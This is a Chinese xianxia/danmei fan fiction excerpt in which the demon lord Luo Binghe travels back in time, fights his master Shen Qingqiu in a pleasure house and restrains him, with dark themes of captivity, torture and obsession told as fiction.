默认冷灰
24号文字
方正启体

11.冰将中途九带到结局

作者:徒然风华本书字数:K更新时间:
    序:开文原因


    “你以为你的魔气很弱?若不是为了看看你想做什么,早在你进来的那一刻,我已制服与你。”


    “师尊倒是对弟子了解颇深啊。”


    “人魔混血的狗杂种,污染修真界的空气。”


    “师尊是什么时候知道弟子是‘人魔混血’的?你第一次骂弟子‘杂种’的时候吗?”


    ——


    “放虎归山,终成隐患。”


    “师尊当时可是心软了?”


    “脚快一步而已。”


    ——


    “师尊的实力不弱嘛,看来当时若不是拿捏到师尊软肋,弟子未必能请君入瓮。”


    “?”沈清秋有些不理解,手上动作却不停,甚至剑招越发凌厉:“巧舌如簧。看来你这奸细之前都在示敌以弱,是以为清静峰好渗透吗?”


    “师尊说笑了,清静峰在您的管理下‘祥和一片’,便是魔族之人,也难以忍受啊。”


    “你不必反讽于我,之前给你机会不把握,现在就把命留下吧。”


    “看来师尊之前是故意送我‘回家’了。”冰哥脸色唏嘘,刻意摆出感激的表情:“还得多谢‘师尊手下留情’,才能让弟子有机会‘报答’于您。”


    ————


    “师尊。”冰哥将沈清秋压于自己身下,恶意挑起他的发梢:“我记得您最厌恶被男人贴近,现在感觉如何啊?”


    “我不与罔顾人伦的畜生争论。”


    “师尊啊,我若说,您曾亲自给弟子疗伤,还拉着弟子与您同床而眠,您可相信?”


    “你睡昏头了。”


    ————


    “我记得,您自从登上峰主之位,好像再也不曾动剑。世人传言,是您杀了柳清歌后,再也拿不起来了?”


    “混账!”


    “若您今日佩剑在手,弟子还需多费些功夫。可惜您一无应对利器,二无法对抗魔气,又狗急跳墙咬下弟子鲜血,今日,必被弟子所擒啊。”


    ——


    “你以为,你将剑插入心口,我就会原谅你?”


    “师尊。弟子只是想让您,得偿所愿。”


    “真巧。我是个小人,不会像大义凛然的君子一样说什么‘不欺负弱小’。你将头颅献上,那我就直接取你性命。”


    “是啊。是弟子错了。竟以为,能以命,触动您冰冷的心。”


    引子:我会找到你,带走你


    引子部分序:故事的开始,从最后的结局说起


    当故事落幕之后,某个断剑被某个小卒偶然拾得。


    由于这柄剑的材质过于优良,即使是断剑,剑刃处仍有寒光隐现,似在诉说往昔的峥嵘岁月。被‘供奉’上来,递到了魔尊的面前。


    “肃?”冰哥看着残缺不全的文字,脑海中突然浮现出那个曾屹立于修真界之巅的山门,以及,那个被他遗忘在地牢的,阶下囚。


    时间过于遥远,他的记忆里,年少的他受尽世人冷落、毒打与欺压。而他在落入悬崖后,却获取奇遇,习得高深功法,修的绝世内力。自此,他一路崛起,横扫世界,一统两界,成就至尊之位。


    许是勾起了年少的记忆,冰哥难得的将身边佳人推开。整理了一下有些褶皱的衣衫,命人开道,去牢里探望那个被种下天魔之血,而一直求死却死不掉的人。


    “师尊,弟子来看您了。”冰哥的声音听起来极为恭敬,行走间也极为优雅从容,完全看不出来,他此时身处最为阴暗潮湿、腐臭弥漫、不见天日的地牢。


    可惜,一团烂肉,是无法给予他回答的。


    阶下囚并不可怕,但一个完全不认错、坚决抵抗到最后,从不服软、拒绝怀柔的、死不掉的俘虏,处境绝不会比死去的亡灵好到哪里去。


    “哎。”冰哥的声音充满遗憾,他站在门口远远的看着那团被天魔之血操控、忍不住颤抖的烂肉,心中升起无数的快意——


    他努力强大的意义,不就是将所有曾欺辱他的人,踩在脚下吗?而这个‘罪魁祸首’,自然要留到最后慢慢折磨,以泄心头之恨。


    只是...敌人已被打完,内地外患皆无,这平稳的世道。


    平和的有些无趣,无聊了呢。


    ————


    魔尊的性情突然喜怒无常起来。


    平日里要么随机找人问话,譬如‘为何他可以那样而他为何不可以?’‘凭什么他可以?’‘废物为何会受到重视?’‘同样的人,为何却如此大相颈离?’


    被问之人胆战心惊,生怕答错一句便招来杀身之祸。


    要么随时杀人,譬如‘为何你眼中只有畏惧而非尊崇?’‘你怕我什么?’‘你为何对我如此温柔,却对xx如此残忍?’‘你当真如你表现的普爱众生吗?’


    魔尊杀意一起,血光四溅,人人自危。


    要么,喝的酩酊大醉,四处找人打架发疯:‘哇哈哈哈,我才是世界第一!’‘有实力不就够了吗?修为才是真!’‘凭什么,凭什么!我什么都有的,我明明什么都有!’‘为何,你不能如他?!’


    魔尊的行为也愈发让人捉摸不透。


    今日令人将地牢之人救出救治,明日却又丢下一堆刑具;前日还小心翼翼喂血,昨日却又将人揽在怀中,玩着让人看不懂的花样。


    魔尊。疯了。


    这是所有人的想法。


    喜怒无常、随机杀人的魔尊。


    太可怕了。


    第一章失去的东西,总是要想方设法找回来的


    “岳掌门可真是您心尖尖的人呢,得知他的死讯,您都想陪他共赴黄泉呢。”


    冰哥的声音在昏暗的地牢中回荡,带着丝丝嘲讽与不甘。他的目光紧紧盯着眼前那团不知生死的肉团子,眼神中闪烁着复杂难明的光芒。接着,他像是想起来什么,有些快意的笑了起来:


    “说起来,宁嘤嘤也是被您护在怀里的人。若不是她被人刁难,一个‘秋海棠’,您未必会束手就擒吧?”


    冰哥想起来那场令沈清秋跌下神坛的‘审判’,眼前不禁闪过在很早之前的清静峰上,沈清秋对宁嘤嘤的温柔呵护。可惜,女儿外向,宁嘤嘤最终还是选择倒向自己,将沈清秋卖了个干净。


    可笑的是,沈清秋原本淡然冷漠的脸,在看到其他人对宁嘤嘤恶意满满的‘挑刺’后,竟面无表情地将所有过错揽于自身。哪怕是那些莫须有的罪名,也一并认下——只为了,让其他人将目光从宁嘤嘤身边转移开来。


    想到沈清秋对宁嘤嘤的爱护,冰哥就忍不住想起来另一位内门弟子。那个,一直欺压自己、带头实施‘欺凌’的家伙。他勾起嘴角,想到被自己扔下万毒窟的存在,笑得格外开怀:


    “明帆也是条好狗,明明您都将他打成那样,却还要爬到我的面前,试图给我一剑呢。”


    面前的肉团微微颤动,却不知其是否听到了他的话语。那曾经高高在上、清冷孤傲的仙尊,如今竟落得这般模样,着实令人唏嘘。


    冰哥站在地牢之中,回忆如潮水般涌上心头,思绪渐渐飘远。他突然回想起自己曾涉足的那个世界,心中感慨万千。他实在不明白,为何同样是 “沈清秋”,对待周围之人却有如此巨大的差异?同样是 “洛冰河”,为何他就不能得到沈清秋的温柔与关爱呢?


    若是,沈清秋能如另一个世界一般。


    那该多好。


    可惜,他知道这是不可能的。


    他所遇见的这个沈清秋,连自己都难以温暖,竟需时常流连勾栏之地以寻温暖。


    更何况,是对别人有好脸色呢。


    既然如此,那他便穿越时空、跨越世界,回到更早之时,培养属于自己的 “沈清秋”。


    ——


    冰哥额头的天魔印闪烁,手中心魔剑发出猩红的血光。忽地,天地间风云色变,狂风突起,冰哥以血祭剑,要开辟过往之路。


    沈清秋明明对待宁嘤嘤就可以温柔,对待明帆也能报以信任,对那个世界的洛冰河也可以予己予求。


    凭什么,他不行?


    他是一统世界的魔尊。


    他是什么都有、集天地钟爱的龙傲天。


    他是后宫佳丽三千、忠心小弟无数、手下数万魔兵的世界霸主。


    他,要跨越古往今来的时间长河,回到过去,将那个人掳到自己身边,让他如另一个世界的‘沈清秋’一般,将钢铁直男化为绕指柔。


    冰哥的心中充满了执念,他不相信自己无法得到沈清秋的爱。他要改变这一切,他要让沈清秋成为他的人。


    至于‘为什么’?


    他只是,见不得那个世界的 “沈清秋” 对 “洛冰河” 那般温柔罢了。


    既然有‘洛冰河’成功过,为什么他不能?


    嗯。至于为何冰哥没去掳冰妹所在的那个 “沈清秋”……


    当然是,自己的必须要自己培养啊!


    第二章男频仙尊的爱好,一直都是勾栏听曲


    阳光洒落在尘世,微风轻拂,天地间一片静谧。


    今日无事,勾栏听曲。


    沈清秋作为一个标准仙尊,对于温柔如水的邻家长姐,完全没有抵抗能力。所以他端坐在贵宾厢房中,欣赏着台下美人的舞蹈。


    那女子身姿轻盈如燕,恰似蝴蝶在舞台上蹁跹飞舞,每一个动作皆充满优雅与灵动。莲步轻跳,飘逸的飘带飞舞,充满了梦幻唯美的氛围。


    可惜,某个极为张扬的气息,从房门处蔓延开来,扰乱了他欣赏美人的雅兴。


    沈清秋微微蹙起眉头,心中略有不悦。


    算了,看节目更重要,不能辜负美人献舞。于是,他再度将目光聚焦于舞台之上,手中掐诀,布下几道阵法来,试图忽略那股令人厌恶的气息。


    不轻不重的力度从肩膀传来,按摩穴位准确,力道恰到好处。若不是这股气息实在令人厌恶,这双手的主人倒还真是个不错的‘工具人’。


    沈清秋悠然地端起茶杯,轻抿一口香茗,茶香在口中四溢开来,让他的心情略微舒缓了一些。随手将腰间的玉佩扔下去打赏,却在眼角看到呈自由落体下落的玉佩,以一种反重力的方式飞到了自己身后。并且,肩膀上的力道也加大了几分。


    “嗯?”沈清秋原想侧头看一下清空,却看见另一支舞蹈已然开场。那绚丽的舞姿与动人的乐声瞬间吸引了他的注意力,他不由地将视线转回到舞台上,继续欣赏舞蹈。随手用扇子敲了一下肩膀上的手背,示意他收敛一下力道。


    “欸?”沈清秋有些不快,自己刚敲到对方手背的扇子,瞬间被人紧紧抓住。沈清秋稍稍用力拉扯,却发觉对方的力道不但没有减弱,反而又加重了些许。


    手中的扇子即将被人夺走不说,他的肩膀也被人牢牢扣住。原本安分按摩的手指,此时隐隐指向他的脖颈,杀机骤现。


    沈清秋的眼珠略向后侧移动,可惜对方的身影被胳膊遮挡,看不真切。


    不过,如此浓郁的魔气,如此厚重的血腥味,以及隐隐笼罩在周遭的威压与杀意,都让他明白,对方绝对是敌非友。


    “既然来了,就喝一杯吧。”沈清秋像是感受不到肩膀上的压力似的,右手直接松开折扇,信手举起茶壶,拿出一个新杯子,清洗后冲上一杯,做了个‘请’的手势。接着,他举起自己的茶杯,轻松写意的吹起浮沫,小酌一口。


    冰哥右手捏着战利品——沈清秋的折扇,左手制住沈清秋的肩膀,站得与沈清秋极近。从背后看上去,像是将眼前之人揽在自己怀里。


    不得不说,这么‘识趣’的沈清秋,极大缓解了冰哥怀着满腔不忿破开时空的激愤之情。


    毕竟,按照时间线来说,这时仙盟大会已经结束,''洛冰河''也被沈清秋亲自踹下无尽深渊。洛冰河在深渊下累死累活的拼命求生,沈清秋却在女人堆里风花雪月、抚琴作画,和,沾花惹草。


    着实令人,不爽。


    还有这个刚才‘敲打’他的折扇。冰哥可忘不掉,在那个世界中,''沈清秋''的记忆里,柳清歌与沈清秋的折扇,实在是渊源颇深!


    冰哥不会承认,他是受到了另一个世界的刺激。


    就像是,他只是心血来潮想给沈清秋按摩肩膀一样,绝对不是在模仿另一个世界的’洛冰河!’


    第三章喝茶从来不只是喝茶,但主家举茶杯一定是送客


    沈清秋看着优雅落座在自己对面的洛冰河,心里突然有一种失落和愤怒。‘呵,果然是魔尊奸细。’‘他果然,没看错人。’


    冰哥看着沈清秋一瞬间布满的厌恶、反感,以及立刻对周身施展的清洁诀,心中恼怒顿起。若不是多年来养尊处优练就的沉稳,他此时已将人踹倒在地,踩在脚下了。


    “你果然是魔族之人。隐匿身份与身形,在苍穹山可得到了想要的东西?”


    沈清秋对魔族的厌恶之情溢于言表,甭管眼前之人是不是他曾经的弟子,他都不愿与魔族有过多的沾染。甚至说,若不是他现在心神放在台下的舞蹈上,现在就已经出手清理师门了。


    “果然。”冰哥重复了一下这个词语,眼神微亮,笑得灿烂:“看来‘师尊’早有所知啊。”


    “废话。”沈清秋只觉得这玩意的存在影响自己看表演的兴致,只想早早将其打发:“你以为你的魔气很弱?若不是为了看看你有何图谋,早在你进来的那一刻,我便已将你拿下。”


    冰哥端起茶杯轻抿一口茶水,果然,能让‘沈清秋’亲自斟的茶,滋味非凡。他悠然的晃了晃茶杯,将空杯子推到沈清秋面前,调侃道:“师尊倒是对弟子了解颇深。”


    沈清秋被洛冰河那莫名的目光看的恶心不已,就连茶水都喝不下去。他重重的将茶杯放到桌子上,极为不耐地看着洛冰河:“魔族究竟想要什么,竟三番四次的派人上苍穹山,又命你这个奸细去又复返?”


    “嗯?”冰哥微微睁大双眼,露出无辜之态,仿若天真孩童般发问:“师尊认为我是魔族派来的?”


    “不然呢?”沈清秋面无表情,只想赶紧把人赶走:“我亲自将你踹下去,不出三天你就再次出现,难不成是你命大,卡在半山腰不成?”


    “噗。师尊说得对。”洛冰河笑得愉悦,悄然间已封锁整个个厢房的空间,沈清秋,已插翅难逃。既然如此,倒可以和他''好好聊聊'':


    “所以师尊认为,弟子应当是魔族潜伏已久的卧底,巧合之下被您发现,您为民除害,将弟子打下深渊?”


    “.....”沈清秋实在不想跟这玩意纠缠什么‘谁派谁过来’,他直接打开天窗撵人:


    “人魔混血的狗杂种,污染修真界的空气。苍穹山对你不薄,那么多年都没找到你们要的东西,今日又寻我做什么?难不成以为我身上会带着你们要的东西?”


    冰哥的眼神越发危险,听到沈清秋如此直白的送客之语,手中轻轻掐诀,开启早已布好的结界:“师尊啊,你且说说,你身上会有什么是魔族惦记的东西呢?”


    沈清秋摇摇头:“苍穹山确实没什么魔族能用的东西。即便是藏书阁里,那些秘法秘闻,对魔族也毫无用处。”接着,他稍作思索,看向冰哥额头的天魔印,眼中闪过一丝恍然:“你是为了被封印的魔门至尊?”


    “是了。你是天魔族的人,也只有此事,能让魔门派出一个人魔混血潜伏于苍穹山,甚至被揭穿后又再次复返。”


    洛冰河看着沈清秋高深莫测的表情,知道他已经陷入阴谋论。毕竟他自己是个尖酸刻薄、暗地里动手脚的小人,自然会认为他人也如他一般处处算计。


    想到这里,洛冰河不禁轻笑一声。此时的沈清秋全然不知自己厉害,若是牢中那人,见到自己瞬间便会逃走,怎会如这般毫无戒心地与自己交谈,还对自己如此 “不屑” 与 “无畏”?


    不过,想到这里,他试探着问出长久以来心中所惑:


    “师尊是什么时候知道弟子是‘人魔混血’的?你第一次骂弟子‘杂种’的时候吗?”


    “嗯?”沈清秋的表情有些茫然与不解,他的头脑风暴中满是魔族的目的、魔族的阴谋、魔族派人接触自己的背后意义——怎么,突然转变到‘人魔混血’‘杂种’了?


    他难以置信地再次看向冰哥,里面满是震惊与不理解:“魔族,竟派一个如此执着于细节的人来潜伏?”


    如此心胸狭隘之人,真能成就大事?若此人登临高位,不知心里有多少的帐要算,不知多少曾打压他、忽视他,与他有过节的人会被牵连。


    “...”冰哥虽然不知道沈清秋想到了哪里,但从他此刻的表情便能看出,他像是在说:‘你的关注点是不是有问题?果然是下位者心态,只关心自己,不懂背后的图谋。’


    但是。沈清秋不知道的是,冰哥是真真正正的坐到了魔族至尊,又专门跨越时空,来到这个‘沈清秋将洛冰河踢下深渊’的时间节点。


    沈清秋更不清楚的是,当冰哥到来的那一刻,这个原本由男频世界观构建而成的世界,开始被女频的狗血所侵染,一点点朝耽美的方向发展。


    第四章标准男频的做法,从来是斩草除根、鸡蛋清都要摇匀


    看着莫名其妙朝自己出手的洛冰河,沈清秋随手挥出几道灵气化解攻势,又扔出几颗灵石布下层层禁制。将这小小的厢房牢牢护住,以防两人对战将房屋震塌。


    此刻,厢房之外,歌女舞姬们正翩翩起舞,乐声悠扬,一片歌舞升平之象;而厢房之内,却是杀机四溢,气氛冷冽如九月寒冬。


    冰哥手中长剑一挥,剑刃如闪电般划破沈清秋的衣衫,露出里面洁白的内衬。那内衬如雪般纯净,在昏暗的光线下格外显眼。


    他从容的应对着沈清秋砸过来的各种碎片,欣赏着眼前之人的‘剑武’。接着快速躲闪过沈清秋挥来的符箓,口中不住赞叹:


    “师尊的实力不弱嘛,看来当时若不是拿捏到师尊软肋,弟子未必能请君入瓮。”


    “?”沈清秋有些不理解,手上的动作却丝毫不慢,招式越发凌厉:“巧舌如簧。看来你这奸细之前都在故意示弱,是以为清静峰好渗透吗?”


    沈清秋今日出门本是为寻欢作乐,身上只有随身备着的折扇和储物袋里用以防身的暗器。虽说他可以发出信号弹,苍穹山的人在一炷香的时间内必定会赶来。


    但如此一来,未免太过丢脸。


    而且,若是他都打不过的人,苍穹山能让谁来?


    除了已经死掉的柳清歌,难不成是指望基本不问世事的长老?还是那个几乎从未拔过剑的岳清源?


    话又说回来,岳清源若是看到沈清秋的信号弹,一定会第一时间赶过来。


    可沈清秋却不想见到他,更不愿被他庇护。


    他不愿在他人面前示弱,更不愿,在岳清源的面前展示。


    冰哥看着手执乌金扇的沈清秋,右手剑刃斩出,左手随意把玩着之前从沈清秋手上拽过来的翠玉折扇。嘴角勾起,笑得极为开朗阳光:


    “师尊说笑了,清静峰在您的管理下‘祥和一片’,便是魔族之人,也难以忍受啊。”


    沈清秋身形一闪,躲过迎面而来的一道剑气。身后的桌子被剑气劈成两半,木屑纷飞。他脚踏奇步,如鬼魅般移动,用扇面抵挡剑气。扇面在剑气的冲击下微微颤抖,旋转一圈后猛然合上,一道劲气直射冰哥面门。


    冰哥侧身躲避,手中长剑顺势刺出,一寸长一寸强,剑势凌厉,直逼沈清秋咽喉等要害。沈清秋脚尖轻点,与半空中翻身,避开这致命一击。接着,他手中折扇再次挥出,数道藏于扇骨的暗器如天女散花般射向冰哥。


    冰哥手中的心魔剑与暗器‘乒乓哐啷’交战声响起,沈清秋借此催动阵法,以修真界的灵气压制冰哥的魔气——


    魔族之人,其散发的魔息对修真者具有极强的腐蚀性;同样,修真界的灵气,对魔族之人,也有极强的杀伤力。


    可惜,冰哥身为人魔混血,虽然魔气比灵气修习更多,但灵气的存在,却让他依旧保有一战之力。


    冰哥从暗器形成的剑雨中走出,身影如鬼魅般冲向沈清秋。手中长剑舞动,剑影重重,让人眼花缭乱。


    沈清秋面色凝重,右手折扇急速舞动,形成一道防御屏障;左手捏着无数符箓,随时抽空拍出几张以期待出奇制胜。


    两人你来我往,激战正酣。厢房内的桌椅板凳被他们的劲气震得破碎,木屑纷飞。


    沈清秋动了杀心,故而步步杀招。相反冰哥虽招式凌厉,却像是‘灵力停滞’似的,剑招变化有余,强劲不足。一招过去,沈清秋衣衫碎裂不少,受的却都是皮外伤。


    沈清秋看着自己外衫逐渐破碎,心里怒火更重,每一招都加注不少灵力,势必要将对方打倒在地。


    两人都是世间强者,若非阵法将此方空间锁捆,连外面的小楼都不一定能留下。而屋内座椅板凳屏风隔断之物,除一张床榻之外,尽皆化为碎片。


    最终,还是长久不用灵气的冰哥落了下风,他一招过去,灵力不足的情况下,力道与方位难免有些偏差。


    沈清秋敏锐的抓住了这稍纵即逝的机会,他瞬间闪身到冰哥身后,以扇骨猛刺入冰哥心口:


    “你不必反讽于我,之前给你机会不把握,现在就把命留下吧。”


    ‘噗嗤’鲜血被大量带出,温热的鲜血散发着刺鼻的腥味,沈清秋面无表情地将脸上的血迹擦去,看着倒在地上仍不安分的冰哥。他的眼神中没有一丝怜悯,只有冷漠与淡然。


    他已手下留情一次,可现在看来,对方并不需要。既如此,那就死吧。


    “看来师尊之前是故意送我‘回家’了。”冰哥脸色唏嘘,即便是狼狈的倒在地上,依旧刻意摆出感激的表情:


    “还得多谢‘师尊手下留情’,才能让弟子有机会‘报答’于您。”


    语气挑衅,神情夸张,即便气息微弱的仿佛濒死,冰哥依旧在努力作死。


    沈清秋手中的扇子闪过墨绿色的光泽,那是结合了不少毒物炼制出来的剧毒,见血封喉、触之及死。


    他挥袖拂开周围乱七八糟的碎片,将床铺清理干净,然后端坐在上面,面无表情的说了句:“放虎归山,终成隐患。”


    其声音之冷漠,与他此时浑身染血、衣衫稀碎的模样‘相得益彰’。


    只是,其中隐含的一丝感叹,还是被冰哥所捕捉到。


    冰哥依旧是那副被伤了心口,即将死去的模样,只是脸上笑容越发明媚。他像是探究到了什么甜蜜的秘密似的,明明性命垂危,却眼角都在飞舞:


    “师尊当时可是心软了?”若是的话...冰哥也是可以,稍微模仿一下另一个世界的‘洛冰河’的。


    沈清秋完全不懂冰哥为什么这个时候还能笑得出来,顺手又补了几道毒过去,抿了一下嘴唇,发觉自己的嘴角不知何时被风刃割出无数的细痕。那些细痕如蜘蛛网般蔓延,微微刺痛。


    随手幻化出一面水镜,认真地擦拭着嘴唇。柔软的嘴里吐出的话语却冷硬的像寒冬的凛风:


    “脚快一步而已。”


    第五章以有心算无心,主打一个‘处处惦记’


    经历过大战的人,早已习惯杀人与被砍。故而,没有人会在意四处散落的血迹,自然也不会留意,充盈在鼻翼、四周的血腥味。


    当沈清秋背对冰哥疗伤的时候,他并没有意识到,方才那个几乎一只脚踏入棺材的家伙。已悄无声息的,以天魔血为引,勾起人心底最为恐惧的心魔。


    “师尊啊,你看弟子都要死了,真得这么狠心嘛。”


    “弟子知道你是嘴硬心软,要不然如此厌恶弟子的你,怎么会在悬崖边放弟子一马呢。”


    “师尊啊,你倒是看看我,弟子都要死了,都不能让你看上一眼吗?”


    冰哥的言语,听起来极为真挚,甚至还充满了‘人之将死、其言也善、急需答疑解惑’的诱导意味。


    虽得不到沈清秋的回话,但看着纱帘后背对自己疗伤、一点点擦拭伤口,以及略微发出‘嘶—’的呼痛声。


    嗯,冰哥觉得,这次试探,可以到此为止了。


    这样的‘沈清秋’,远比另一个世界的‘温柔版沈清秋’有血性、有刚劲、有魄力。也远比他、那个被他所遗忘的血团子、有风度、有气场,更为鲜活生动、充满天真。


    既然如此……


    电光石火中,刚才还马上就要死翘翘的冰哥,以迅雷不及掩耳的速度将毫无感知、衣衫半褪的沈清秋压倒,困于床铺内侧。


    “师尊。”冰哥将沈清秋压于自己身下,用一只手锁住沈清秋挣扎的肩周,另一只手恶意挑起他的发梢,发丝如绸缎般顺滑,在他指尖缠绕:“弟子记得您最厌恶被男人贴近,现在感觉如何啊?”


    方才高高在上的仙尊已被人用手脚束缚住,半褪的肩领被冰哥胡乱拉起,破碎的衣衫隐约露出内部的晶莹剔透。仙人脸上的震惊与愤怒交杂,那表情仿佛是被亵渎的神祇,充满了不可置信。


    随着冰哥的动作,某种‘羞愤’的神色不由自主浮现,却又极快的被人压下。


    那张平日里巧舌如簧、搬弄人心的唇舌,紧紧的闭合着。


    那张高傲冷漠的俊颜,随之染上难以控制的恐惧与抵抗。


    那双平日里古井无波、任何人都不被放在其中的瞳孔,因愤恨与无力,被激出湿润的水色。仿佛是两颗璀璨的宝石,在阳光下闪烁着动人的光芒。


    如此高傲的仙尊,现在却被囚困于自己怀中。神情崩溃不说,血色的眼中还隐约有泪光闪烁。


    天魔之血,可以控制人的躯体,亦可……激发人的心魔。


    虽冰哥能入侵旁人的梦境,以过往为囚牢,将人困死于噩梦中。却无法透过对方猩红的双眼,窥见对方心底深处的心魔。


    但。能让沈清秋脆弱于此,连警惕与反抗都不曾的‘心魔’,冰哥还真想见见。最好,牢牢的将把柄握在手里,以随时拿捏对方。


    “别...滚开!”沈清秋深陷入心魔之中,整个人有点癫狂的挣扎着,被天魔血压制的灵力四处扩散,强大的力量仿佛要将周围的一切都摧毁。若不是身边之人以大力压制,恐怕他已经开始疯狂的砍杀一切了。


    “哦?”冰哥更好奇了。之前的‘羞恼’与‘泪光’,还有此时此刻的恨不得祸害周遭所有——这家伙,不会是用这种方式来表现‘娇俏’与‘恼羞成怒’吧?


    嗯。高冷仙尊的‘疯狂抵抗’。


    要比另一个世界的温柔娇羞,要更反差,更有趣,更让人期待啊!


    只是,冰哥突然有些恼火与不爽。


    他之前从未想过入侵心魔。否则,他一定要看一下,究竟是那个畜生,能将冷漠无情的沈清秋,逼成眼角带泪的模样。


    标准的男频仙尊,陷入敌人的陷阱之后,从来不是考虑示敌以弱的服软,而是疯狂压制灵力与潜力,施展千般妙法与万种手段,要与对方一决死战。


    冰哥看着被自己揽在怀里不停挣扎的人,脑海里不禁想起曾在另一个世界里,看到的——属于那个,小畜生的、衣衫半露昏迷,与安静和谐的同床而眠。


    可即便是狼狈成那样,那个‘沈清秋’,依旧护在小畜生的身前。


    更是在一切尘埃落定后,轻抚他的头顶,授予他真正的心法、亲自教导他剑招。


    仙人抚我顶,结发授长生。


    那个畜生,真的拥有了肯温柔抚摸他的仙人;而那个仙人,也真真正正的‘下凡’,与他结发,两相携手。


    可自己眼前这个,哪怕是深陷心魔之中,眼神紧闭,嘴角绷直,浑身缩在冰哥怀里,颤抖的不成样子——也从未放弃过挣扎。


    哪怕他灵力被天魔血强行压制,哪怕他周身被紧紧捆住,哪怕他眼神紧闭无法挣脱心魔所幻化的困阵。


    也从未停止过反抗。


    不能反抗,与不反抗。


    是有极大区别的。


    他只是受困于外界,无力或者说无法反抗。他的理智死死压制感性,平日里将周身温度凝结成冰,隔绝所有人的温暖与窥探。


    无人知晓他高高在上、冷漠疏离的面具下,是怎样的脆弱与绝望,层层封印的图章下,是他抛弃不掉、无法闪躲的现实。


    可若是给他一点机会,或者给他一点喘息、思考的时间……


    冰哥觉得。对于这种时刻想着挣脱的人。若是不打断他的筋骨,毁去其对抗的能力和手段,用苍穹山上的人作一个绳索,以威逼的方式令他主动缴械投降、折断羽翼。


    他还真不知道,要如何将这头桀骜不驯的雄鹰,化为绕指柔。


    苍穹山的人,可以杀。但不能全杀。


    那些令冰哥不爽的人和物可以毁掉,但关于沈清秋的东西,不能全部毁去。


    不开森,不爽快。


    拥有实力后却不能将一切打翻,他要这力量有何用?


    苍穹山能‘拴住’沈清秋,何尝没有在反限制冰哥?


    若不是冰哥突然对沈清秋起了心思,苍穹山那些人啊。


    就等着被两界至尊,烧家灭族吧!


    深感被束缚的冰哥心情不是很美满。尤其是怀里这个疯狂挣扎的家伙,也及其不听话。


    明明他都为了‘沈清秋’放过苍穹山了,这个人居然还在反抗!


    罢了,‘自己的人,总是要多体谅几分的’。


    冰哥轻嗅手边的青丝,连眼角都附上一层温柔:“师尊,别拒绝我。”


    可惜,陷入心魔、死命挣扎的人,只会以尖锐有力的牙齿,向敌人展露自己的凶狠,拼上咬掉对方血肉的机会,以一腔孤勇去与既定的命运做抗争。


    第六章这是一个昏了头的疯子、被污染的龙傲天


    面对一个只会挣扎反抗、绝无半点妥协的疯子,冰哥不得不灌给沈清秋一些鲜血,帮助他维持理性。


    天魔之血,既能控制人,让人失去理智与对自身的掌控。又能帮助人恢复心神,镇压被心魔侵染的灵台。


    灼热又猩甜的铁锈味于咽喉中弥漫开来,黑压压的雾气逐渐散去,展现出另一种凝聚成鲜红色云彩的天空。地面在残阳的映照下如血般殷红,一时间竟让人难以分辨何为苍天,何为地面。


    沉重的眼皮像是被人移走了压制之物,干涩之意伴随酸痛浮起,神志缓缓恢复。


    “洛冰河?”沈清秋睁开不再血红的双眼,看着搂着自己的人,挣扎了一下,却没能调动躯体。


    一抹惊诧快速从他眼中划过,却在眨眼恢复平淡。接着,他也不再尝试,努力用灵力冲刷经脉,试图积攒灵力以力破巧,一举突破禁制。


    沈清秋一边努力挣脱枷锁,一边快速扫了一下周围环境,尤其是离自己极近、几乎将自己笼罩于他(身躯)阴影之下的洛冰河。


    这个距离,太近了。这个局势(姿势),太危险了。


    他转移对方精力,将视线放在洛冰河的眼上,摆出官方端正的态度来:“这是要拿我与苍穹山谈判?”


    “师尊啊。”冰哥看着恢复冷静的沈清秋,觉得这家伙的生存能力和适应能力一定很强,即便是被人所俘虏,还能摆出如此淡定的姿态,将两人拉到同一地位来‘问话’。


    “您就没想过,弟子大费周章,是为了您吗?”


    冰哥的手腕上还残留着没愈合的伤口,正一点一滴的向外渗出鲜血。由于从沈清秋唇边移开,被周围的寒风一吹,细细密密的凉意袭来,令他的眼神呈现出一种‘突然被惊醒’的不舍,与‘烦躁’来。


    他看着沈清秋被血侵染的鲜红唇色,轻柔的用指肚抹去沈清秋唇边沾上的血珠,放入自己口中。


    忽的,他像是想到了什么。勾起一丝堪称‘甜美’与‘满意’的笑容,语气温柔,眼里满含期待,眼底深处是难以压制的疯狂与执着:


    “弟子废了这么大的力气,就是为了带您走啊。”


    “。”


    “……”


    这天没法聊下去了。


    冰哥看着明显回避的沈清秋,伸手将他的脸掰到自己面前,直视他的眼睛:“师尊……弟子等这一天,可是等了很久呢。”


    洛冰河不开口则已,一鸣惊人,他轻描淡写的一句话,引起沈清秋内心千层浪!


    ——


    论这句话对直男的杀伤力有多大。


    沈清秋只觉得自己像是被无法抵抗的天劫给击伤,被天雷滚滚给电的外焦里嫩,连灵魂和耳朵都在怀疑:他刚才感觉到了什么?他听到对面说话了吗?


    他双眼有些失真的看着对方嘴唇蠕动、开合,却始终什么也不曾听到,亦无法通过嘴型‘读取’对方的话语。


    他只觉得无法描述的感觉充盈于胸口,这种莫名生出的荒唐与滑稽,世界上没有任何言辞能精准表达。


    甚至于,沈清秋都不能确定,他自己现在的表情,是在哭还是在笑,是懵逼还是震惊。


    他的瞳孔因过度惊恐和无语而扩散,突然得知的‘事实’着实是超出了他的接受程度,令人难以维持一惯的漠然。


    沈清秋原本只是想转移对方的注意力,用以拖延时间,找寻对方破绽。但是很明显,这个被‘转移’的方向,并不适合继续。


    更甚至说,这个方向,是他从未想过,完全不曾设想过对应的路径。


    这个离谱又可笑的‘问答’,毫无感情基础、没有一点铺垫与转折。


    他们本该成为生死相杀的敌人,或者彼此对立的各界掌权者。


    就算是对对方存在好感,其产生原因,也该是‘惺惺相惜’或‘彼此欣赏’。


    不该是……如此,无厘头、可怜可怜可悲的、莫名其妙的、没有任何理由的‘爱与占用’。


    ‘洛冰河’的意志与情感,本不该如此直白且狂热;‘洛冰河’的性格与作风,本不该如此粗暴且疯魔。


    是什么改变了他?令他不再理智与拘谨,居然敢有犯上欺师,将一介仙尊囚为禁脔的想法?


    沈清秋消化了一下令人难以理解的事实,眨巴一下眼睛,再次将视线转移到洛冰河脸上,直直的撞入冰哥幽深又漆黑的眸子里。


    如没有月亮的高空中,连手指都看不明晰的厚重夜幕里,浓重的、令人无法喘息的浑浊黏稠物质。连呼吸,都充满缺乏氧气而带来的灼热般滚烫。


    那是,仿佛要将整个世界颠覆的极致疯狂、出于对自己绝对实力的高傲、以及,明知不可为而非要为之的……狂妄。


    ‘疯子。’


    唯有这个词,才能精准描述、此刻沈清秋对冰哥的看法。


    人不能直视之物,除了耀阳外,唯有人心。


